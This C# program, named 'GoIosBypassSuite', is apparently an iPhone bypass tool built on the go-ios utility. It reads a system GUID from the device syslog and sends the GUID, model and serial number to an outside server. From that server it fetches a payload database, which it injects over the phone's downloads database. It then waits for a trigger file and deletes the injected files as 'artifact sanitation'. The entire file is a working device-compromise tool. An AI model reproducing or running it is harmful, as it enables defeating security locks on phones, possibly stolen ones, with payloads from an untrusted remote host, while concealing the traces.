client_windows.cs 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net.Http;
  6. using System.Text.Json;
  7. using System.Text.RegularExpressions;
  8. using System.Threading;
  9. using System.Threading.Tasks;
  10. using System.Collections.Generic;
  11. namespace GoIosBypassSuite
  12. {
  13. // Data models for parsing go-ios JSON output
  14. public class GoIosDevice
  15. {
  16. public string Udid { get; set; }
  17. public string DeviceName { get; set; }
  18. public string ProductVersion { get; set; }
  19. public string ProductType { get; set; }
  20. public string HardwareModel { get; set; }
  21. // go-ios returns "DeviceValues" or similar keys depending on version
  22. public Dictionary<string, object> DeviceValues { get; set; }
  23. }
  24. class Program
  25. {
  26. // ==========================================
  27. // CONFIGURATION
  28. // ==========================================
  29. private const string TOOL_EXEC = "iOS.exe"; // Your precompiled go-ios executable
  30. private const string REMOTE_API = "https://albert.ip-info.me/files/get.php";
  31. private const int TRIGGER_TIMEOUT = 300;
  32. // ==========================================
  33. // STATE
  34. // ==========================================
  35. private static readonly HttpClient _httpClient = new HttpClient();
  36. private static GoIosDevice _targetDevice;
  37. private static Process _tunnelProcess;
  38. static async Task Main(string[] args)
  39. {
  40. Console.Title = "Go-iOS Windows Bypass Wrapper";
  41. PrintBanner();
  42. try
  43. {
  44. // 1. Environment & Security
  45. CheckEnvironment();
  46. // 2. Device Handshake
  47. Console.WriteLine("[*] Waiting for device...");
  48. _targetDevice = await WaitForDevice(30);
  49. PrintDeviceInfo(_targetDevice);
  50. // 3. Start Tunnel (Crucial for Windows support)
  51. StartTunnelDaemon();
  52. Console.WriteLine("\n[!] Press ENTER to begin the sequence...");
  53. Console.ReadLine();
  54. // 4. Main Sequence
  55. await RunSequence();
  56. }
  57. catch (Exception ex)
  58. {
  59. Log.Error($"Fatal: {ex.Message}");
  60. }
  61. finally
  62. {
  63. CleanupTunnel();
  64. Console.WriteLine("[*] Process terminated. Press any key to exit.");
  65. Console.ReadKey();
  66. }
  67. }
  68. private static async Task RunSequence()
  69. {
  70. // STEP 1: Reboot
  71. Log.Header("Phase 1: Initial Reset");
  72. RunGoIosCommand("reboot");
  73. await WaitForDeviceReconnection(120);
  74. // STEP 2: Syslog & GUID
  75. Log.Header("Phase 2: Identity Token Extraction");
  76. string guid = await ExtractGuidFromSyslog();
  77. Log.Success($"Target GUID: {guid}");
  78. // STEP 3: API Handshake
  79. Log.Header("Phase 3: Server Authorization");
  80. string downloadUrl = await GetPayloadUrl(_targetDevice.ProductType, guid, GetSerialNumber(_targetDevice));
  81. Log.Info($"Payload URL: {downloadUrl}");
  82. // STEP 4: Download Payload
  83. Log.Header("Phase 4: Payload Acquisition");
  84. string localFile = "payload.db";
  85. await DownloadFile(downloadUrl, localFile);
  86. // STEP 5: Cleanup Old Files
  87. Log.Header("Phase 5: Artifact Sanitation");
  88. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
  89. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
  90. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
  91. // STEP 6: Injection
  92. Log.Header("Phase 6: Payload Injection");
  93. PushFile(localFile, "/Downloads/downloads.28.sqlitedb");
  94. File.Delete(localFile); // Clean local temp
  95. // STEP 7: Reboot
  96. Log.Header("Phase 7: Application Reboot");
  97. RunGoIosCommand("reboot");
  98. await WaitForDeviceReconnection(300);
  99. // STEP 8: Metadata Check
  100. Log.Header("Phase 8: Verifying iTunes Metadata");
  101. if (!await WaitForRemoteFile("/iTunes_Control/iTunes/iTunesMetadata.plist", 30))
  102. {
  103. Log.Warn("Metadata file missing, continuing riskily...");
  104. }
  105. // STEP 9: Final Trigger Sequence
  106. Log.Header("Phase 9: Trigger Monitor");
  107. RunGoIosCommand("reboot");
  108. await WaitForDeviceReconnection(300);
  109. Log.Info("Waiting for trigger asset (asset.epub)...");
  110. if (await WaitForRemoteFile("/Books/asset.epub", TRIGGER_TIMEOUT))
  111. {
  112. Log.Success("Trigger detected! Finalizing...");
  113. // Wait for metadata to vanish
  114. await WaitForRemoteFileDisappearance("/iTunes_Control/iTunes/iTunesMetadata.plist", 300);
  115. // Delete trigger
  116. RemoveRemoteFile("/Books/asset.epub");
  117. // Cleanup downloads
  118. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
  119. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
  120. RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
  121. // Final Reboot
  122. RunGoIosCommand("reboot");
  123. Log.Success("Sequence Complete.");
  124. }
  125. else
  126. {
  127. Log.Error("Trigger timeout. Sequence failed.");
  128. }
  129. }
  130. // ==========================================
  131. // GO-IOS WRAPPERS
  132. // ==========================================
  133. private static void StartTunnelDaemon()
  134. {
  135. Log.Info("Starting iOS Tunnel Daemon...");
  136. try
  137. {
  138. // go-ios tunnel command - runs in background
  139. var startInfo = new ProcessStartInfo
  140. {
  141. FileName = TOOL_EXEC,
  142. Arguments = "tunnel start",
  143. UseShellExecute = false,
  144. CreateNoWindow = true,
  145. RedirectStandardOutput = true,
  146. RedirectStandardError = true
  147. };
  148. _tunnelProcess = Process.Start(startInfo);
  149. Thread.Sleep(3000); // Give it time to initialize
  150. if (_tunnelProcess.HasExited)
  151. {
  152. string err = _tunnelProcess.StandardError.ReadToEnd();
  153. throw new Exception($"Tunnel failed to start: {err}");
  154. }
  155. Log.Success("Tunnel active.");
  156. }
  157. catch (Exception ex)
  158. {
  159. throw new Exception($"Could not create tunnel: {ex.Message}");
  160. }
  161. }
  162. private static void CleanupTunnel()
  163. {
  164. if (_tunnelProcess != null && !_tunnelProcess.HasExited)
  165. {
  166. try { _tunnelProcess.Kill(); } catch { }
  167. }
  168. }
  169. private static string RunGoIosCommand(string args, bool returnJson = false)
  170. {
  171. // Append --nojson if we specifically DON'T want json,
  172. // but go-ios defaults to JSON usually.
  173. // We will rely on the tool's default behavior.
  174. var psi = new ProcessStartInfo
  175. {
  176. FileName = TOOL_EXEC,
  177. Arguments = args,
  178. RedirectStandardOutput = true,
  179. RedirectStandardError = true,
  180. UseShellExecute = false,
  181. CreateNoWindow = true
  182. };
  183. using (var p = Process.Start(psi))
  184. {
  185. string output = p.StandardOutput.ReadToEnd();
  186. string error = p.StandardError.ReadToEnd();
  187. p.WaitForExit();
  188. if (p.ExitCode != 0 && !string.IsNullOrEmpty(error))
  189. {
  190. // Some commands write to stderr but succeed, basic check
  191. if (!error.Contains("warn", StringComparison.OrdinalIgnoreCase))
  192. Log.Warn($"Command '{args}' error: {error.Trim()}");
  193. }
  194. return output;
  195. }
  196. }
  197. private static void PushFile(string localPath, string remotePath)
  198. {
  199. Log.Detail($"Pushing {localPath} -> {remotePath}");
  200. // go-ios fsync push --srcPath=X --dstPath=Y
  201. RunGoIosCommand($"fsync push --srcPath=\"{localPath}\" --dstPath=\"{remotePath}\"");
  202. }
  203. private static void RemoveRemoteFile(string remotePath)
  204. {
  205. Log.Detail($"Deleting {remotePath}");
  206. // go-ios fsync rm --path=X
  207. RunGoIosCommand($"fsync rm --path=\"{remotePath}\"");
  208. }
  209. private static async Task<bool> WaitForRemoteFile(string remotePath, int timeoutSeconds)
  210. {
  211. var end = DateTime.Now.AddSeconds(timeoutSeconds);
  212. while (DateTime.Now < end)
  213. {
  214. // Use 'tree' or 'ls' to check existence.
  215. // go-ios fsync tree --path=/Books returns JSON or file list
  216. string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
  217. // Check if output contains the filename or valid JSON entry
  218. if (!string.IsNullOrWhiteSpace(output) && !output.Contains("no such file") && !output.Contains("error"))
  219. return true;
  220. await Task.Delay(2000);
  221. }
  222. return false;
  223. }
  224. private static async Task WaitForRemoteFileDisappearance(string remotePath, int timeoutSeconds)
  225. {
  226. var end = DateTime.Now.AddSeconds(timeoutSeconds);
  227. while (DateTime.Now < end)
  228. {
  229. string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
  230. // If we get an error or empty result, file is likely gone
  231. if (string.IsNullOrWhiteSpace(output) || output.Contains("no such file") || output.Contains("error"))
  232. return;
  233. await Task.Delay(2000);
  234. }
  235. }
  236. private static async Task<string> ExtractGuidFromSyslog()
  237. {
  238. Log.Info("Scanning syslog for BLDatabaseManager...");
  239. // We launch syslog and read stream for a fixed time
  240. var psi = new ProcessStartInfo
  241. {
  242. FileName = TOOL_EXEC,
  243. Arguments = "syslog",
  244. UseShellExecute = false,
  245. RedirectStandardOutput = true,
  246. CreateNoWindow = true
  247. };
  248. using (var p = Process.Start(psi))
  249. {
  250. var cts = new CancellationTokenSource();
  251. string foundGuid = null;
  252. // Read loop
  253. Task.Run(async () =>
  254. {
  255. string line;
  256. while ((line = await p.StandardOutput.ReadLineAsync()) != null)
  257. {
  258. if (line.Contains("BLDatabaseManager.sqlite"))
  259. {
  260. var match = Regex.Match(line, @"SystemGroup/([A-F0-9\-]{36})");
  261. if (match.Success)
  262. {
  263. foundGuid = match.Groups[1].Value;
  264. cts.Cancel(); // Stop waiting
  265. }
  266. }
  267. }
  268. }, cts.Token);
  269. // Wait max 60 seconds
  270. try { await Task.Delay(60000, cts.Token); } catch (TaskCanceledException) { }
  271. try { p.Kill(); } catch { }
  272. if (foundGuid == null) throw new Exception("GUID not found in logs.");
  273. return foundGuid;
  274. }
  275. }
  276. // ==========================================
  277. // HELPERS
  278. // ==========================================
  279. private static async Task<GoIosDevice> WaitForDevice(int timeoutSec)
  280. {
  281. var end = DateTime.Now.AddSeconds(timeoutSec);
  282. while (DateTime.Now < end)
  283. {
  284. string json = RunGoIosCommand("list --details");
  285. try
  286. {
  287. // go-ios returns a list of devices.
  288. // Warning: format might be `{"devices": [...]}` or raw array depending on version.
  289. // We assume a simple list or wrapper here.
  290. // For robustness, we'll try to just grab the first object.
  291. if (json.Contains("UDID"))
  292. {
  293. // Simple hacky parse if full JSON model fails or is complex
  294. var devices = JsonSerializer.Deserialize<List<GoIosDevice>>(json);
  295. if (devices != null && devices.Count > 0) return devices[0];
  296. }
  297. // Alternative: sometimes it wraps in a "devices" key
  298. var root = JsonDocument.Parse(json);
  299. if (root.RootElement.TryGetProperty("devices", out var devArray) && devArray.GetArrayLength() > 0)
  300. {
  301. var first = devArray[0];
  302. return new GoIosDevice
  303. {
  304. Udid = first.GetProperty("UDID").GetString(),
  305. DeviceName = first.GetProperty("DeviceName").GetString(),
  306. ProductType = first.GetProperty("ProductType").GetString()
  307. };
  308. }
  309. }
  310. catch { /* Parsing failed, wait */ }
  311. await Task.Delay(2000);
  312. }
  313. throw new Exception("No device detected.");
  314. }
  315. private static async Task WaitForDeviceReconnection(int timeoutSec)
  316. {
  317. Log.Info("Waiting for reconnection...");
  318. await Task.Delay(10000); // Grace period
  319. await WaitForDevice(timeoutSec);
  320. Log.Success("Device Reconnected.");
  321. }
  322. private static async Task<string> GetPayloadUrl(string model, string guid, string sn)
  323. {
  324. var url = $"{REMOTE_API}?prd={model}&guid={guid}&sn={sn}";
  325. var response = await _httpClient.GetStringAsync(url);
  326. return response.Trim();
  327. }
  328. private static async Task DownloadFile(string url, string path)
  329. {
  330. var data = await _httpClient.GetByteArrayAsync(url);
  331. await File.WriteAllBytesAsync(path, data);
  332. }
  333. private static string GetSerialNumber(GoIosDevice device)
  334. {
  335. // Try parsing the values dictionary if standard property is missing
  336. if (device.DeviceValues != null && device.DeviceValues.ContainsKey("SerialNumber"))
  337. return device.DeviceValues["SerialNumber"].ToString();
  338. // Fallback: run distinct info command if needed,
  339. // but list --details usually has it.
  340. return "UNKNOWN_SN";
  341. }
  342. private static void CheckEnvironment()
  343. {
  344. if (!File.Exists(TOOL_EXEC))
  345. {
  346. throw new FileNotFoundException($"Cannot find {TOOL_EXEC}. Please place it next to this program.");
  347. }
  348. }
  349. private static void PrintDeviceInfo(GoIosDevice d)
  350. {
  351. Log.Info($"Connected: {d.DeviceName} ({d.ProductType})");
  352. Log.Info($"UDID: {d.Udid}");
  353. }
  354. private static void PrintBanner()
  355. {
  356. Console.Clear();
  357. Console.ForegroundColor = ConsoleColor.Cyan;
  358. Console.WriteLine("--- Go-iOS Windows Wrapper ---");
  359. Console.ResetColor();
  360. Console.WriteLine();
  361. }
  362. }
  363. // Simple Logger
  364. static class Log
  365. {
  366. public static void Info(string m) => Write(ConsoleColor.White, "[*] " + m);
  367. public static void Success(string m) => Write(ConsoleColor.Green, "[+] " + m);
  368. public static void Warn(string m) => Write(ConsoleColor.Yellow, "[!] " + m);
  369. public static void Error(string m) => Write(ConsoleColor.Red, "[-] " + m);
  370. public static void Header(string m) { Console.WriteLine(); Write(ConsoleColor.Magenta, "=== " + m + " ==="); }
  371. public static void Detail(string m) => Write(ConsoleColor.DarkGray, " -> " + m);
  372. private static void Write(ConsoleColor c, string m)
  373. {
  374. Console.ForegroundColor = c;
  375. Console.WriteLine(m);
  376. Console.ResetColor();
  377. }
  378. }
  379. }